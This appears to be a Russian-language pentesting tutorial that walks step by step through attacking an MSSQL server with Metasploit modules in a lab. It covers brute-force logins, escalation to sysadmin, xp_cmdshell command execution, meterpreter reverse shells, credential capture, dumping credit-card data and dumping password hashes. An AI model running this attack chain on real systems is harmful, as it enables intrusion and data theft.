В этой статье пойдет речь о пентестинге MSSQL с помощью программы Metasploit. Читатели ближе познакомятся с характерными чертами и возможностями инструмента.
Введение
Metasploit – это отличный фреймворк, разработанный H.D. Moore. Он представляет собой бесплатный инструмент для тестирования на проникновение. Программа является кроссплатформенной и имеет открытый исходный код, а также обладает целым рядом полезных функций. Она стала очень популярной, потому что профессионалы считают ее мощным инструментом для проведения аудита безопасности. Так оно и есть: у Metasploit множество функций, которые помогут пользователям защитить себя. Стоит отметить, что инструмент может инкапсулировать эксплойт, который обязательно понадобится пентестеру.
Далее читатели узнают, как можно использовать Metasploit для тестирования и проведения эксплойта MSSQL. Будет рассмотрен каждый эксплойт, который Metasploit может предложить, шаг за шагом, от поиска сервера MSSQL в сети до извлечения конфиденциальной информации из базы данных и получения полного контроля. Не стоит больше говорить – самое время перейти к сути.
Поиск сервера
При тестировании серверов MSSQL, будь то удаленно или локально, в первую очередь нужно найти сам сервер в сети. Для этого следует использовать следующий эксплойт в Metasploit:
use auxiliary/scanner/mssql/mssql_ping set rhosts 192.168.1.1/24 exploit
Как можно увидеть на изображении выше, эксплойт предоставит пользователю подробную информацию об активном сервере в сети.
Получение учетных данных для входа
Пользователь нашел сервер, поэтому следующий шаг – получить учетные данные. Для этого он проведет атаку с использованием словаря с помощью следующего эксплойта:
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit
Получение привилегий (системный администратор)
Теперь, когда у пользователя есть учетные данные, нужно проверить, какие права имеет юзер, например, является ли он системным администратором. Для дальнейшей практической части нужен пользователь с правами сисадмина. Человек будет использовать следующий эксплойт:
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Теперь понятно, что данный пользователь не имеет привилегий системного администратора. Поэтому следует попытаться выяснить, может ли он выдавать себя за любого другого пользователя, имеющего права системного администратора. Для этого необходимо применить следующий эксплойт:
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Теперь стало известно, что пользователь с низким уровнем привилегий может выдавать себя за Sa-пользователя. Пользователь Sa является системным администратором, и с помощью вышеупомянутого эксплойта любой юзер может стать им.
Если запустить предыдущий эксплойт mssql_escalate_dbowner, то пользователь увидит, что повышение привилегий не требуется из-за «изменения роли».
Эксплойт xp_cmdshell
Пользователь уже нашел сервер MSSQL в сети, получил учетные данные, выдал себя за сисадмина, чтобы иметь более высокие привилегии. Итак, теперь нужно попробовать заполучить сеанс meterpreter сервера с помощью эксплойта xp_cmdshell:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Эксплойт пытается помочь пользователю получить сеанс. Как только xp_cmdshell будет успешно осуществлен, человек завладеет сеансом meterpreter.
Перечисление MSSQL
Пользователь перечислит сервер и посмотрит, какую информацию он может получить, а также ознакомится с параметрами конфигурации. Для этого будет использоваться следующий эксплойт:
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
В результате выполнения вышеописанного эксплойта пользователь смог увидеть, какие разрешения предоставлены базе данных, какие учетные записи доступны, а также некоторую другую полезную информацию.
Перечисление пользователей для входа в систему
MSSQL предоставляет различным пользователям возможность для входа на сервер. Доступ к серверу можно получить через все учетные записи пользователей Windows и учетные записи в базе данных. Благодаря Metasploit у пользователя есть эксплойт для перечисления всех их. Он выглядит следующим образом:
use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
И в результате человек получает нужную ему информацию со списком всех пользователей.
Выполнение запросов MSSQL
В Metasploit есть эксплойт, который поможет удаленно выполнять все запросы MSSQL. По умолчанию он запускает «select@@version», но пользователь может перейти к любому желаемому запросу с помощью команды «set SQL *query*». Для развертывания указанного эксплойта нужно использовать следующий набор команд:
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password Password@1
exploit
С помощью описанного выше эксплойта у пользователя есть подробная информация о сервере.
Эксплойт Mssql_exec
Следующий эксплойт поможет воспользоваться преимуществами хранимой процедуры xp_cmdshell. Ранее в этой статье пользователь восстановил учетные данные сервера. Теперь, с помощью них можно вызвать хранимую процедуру xp_cmdshell и выполнить любую команду, которую человек захочет. Чтобы развернуть указанный эксплойт, нужно ввести данную команду:
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set cmd "net user"
exploit
Эксплойт выполнен успешно – человек добился желаемого результата, т.е. получил список всех пользователей сети.
Выполнение SQL-запроса с помощью файла в формате .sql
Другой способ выполнить нужную команду — сначала записать синтаксис Sql в файл .sql, используя:
cat user.sql
CREATE LOGIN test1 WITH PASSWORD = 'Password@1';
Теперь пользователь может использовать этот файл .sql для удаленного запуска процессов на сервере с помощью следующего эксплойта:
use auxiliary/admin/mssql/mssql_sql_file
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sql_file /root/user.sql
exploit
Как результат, будет создан пользователь с именем test1. Человек может вручную перейти на сервер и подтвердить создание пользователя.
Создание базы данных
Обычно на любом сервере MSSQL, который тестируется, уже есть база данных. Однако так как сервер, на котором осуществляется тестирование на проникновение, является новым, так как пользователь хотел показать установку лабы, чтобы следующий эксплойт работал, следует создать базу данных. Чтобы сделать это, надо использовать следующую команду:
create database bank;
Поскольку приведенный выше запрос успешно выполняется, следующий шаг – ввести данный запрос:
CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);
Как видно на экране, таблица создана. Теперь следует добавить данные в таблицу с помощью следующего запроса:
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');
Таким образом, база данных будет создана.
Поиск выборочных данных
Теперь, когда у пользователя есть база данных, нужно понять, как он может получить ее содержимое с помощью Metasploit. К счастью, у инструмента есть особый эксплойт, который использует определенные ключевые слова для сопоставления элементов в базе данных, а затем выдает всю информацию, связанную с этими ключевыми словами. Сами ключевые слова задаются пользователем. Следует использовать данный тип эксплойта:
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sample_size 4
set keywords FirstName|passw|credit
exploit
Таким образом, использование вышеупомянутого эксплойта поможет найти необходимую информацию в базе данных. Например, данные, которые человек смог получить, содержали информацию о кредитных картах пользователей.
SchemaDump
Следующий эксплойт, который пользователь собирается использовать, произведёт dumb SQL-сервера. Чтобы задействовать его, нужно ввести следующий набор команд:
use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
И вот, с помощью вышеупомянутого эксплойта, у пользователя есть данные с сервера.
Захват логина MSSQL
Следующий эксплойт, который пользователь собирается использовать, — capture/ms sql. Он создает поддельный сервер и пытается захватить аутентифицированные учетные данные с исходного сервера. Чтобы задействовать его, подойдет данная команда:
use auxiliary/server/capture/mssql
set srvhost 192.168.1.2
exploit
Теперь, например, если пользователь попытается войти на сервер, у него будут учетные данные:
sqsh -S 192.168.1.2 -U sa -P "password@1"
И когда он проверит свой Metasploit, вуаля! У пользователя будут правильные учетные данные для входа на сервер.
Использование CLRIntegration
Следующий эксплойт поможет воспользоваться преимуществами интеграции CLR. Он позволит интегрировать CLR, а также активирует свойство надежной базы данных. После того, как эксплойт предоставит пользователю сеанс, программа восстановит все настройки в их первоначальном виде. Чтобы использовать его, следует ввести команду:
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Как видно, интеграция прошла успешно. Сеанс meterpreter получен.
Hashdump
И последний, но не менее важный: данный эксплойт используется для сброса хэшей пользователей с сервера. Чтобы применить его, нужно ввести:
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password Password@1
expoit
Примечание: эксплойт hashdump работает только на MSSQL Server 2012.
Подводя итог, Metasploit является одним из лучших инструментов для тестирования серверов MSSQL, поскольку он имеет множество эксплойтов и функций.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.
ЧИТАТЬ ВСЕ СТАТЬИ НА САЙТЕ | ПОДПИСЫВАЙТЕСЬ НА НАШ TELEGRAM КАНАЛ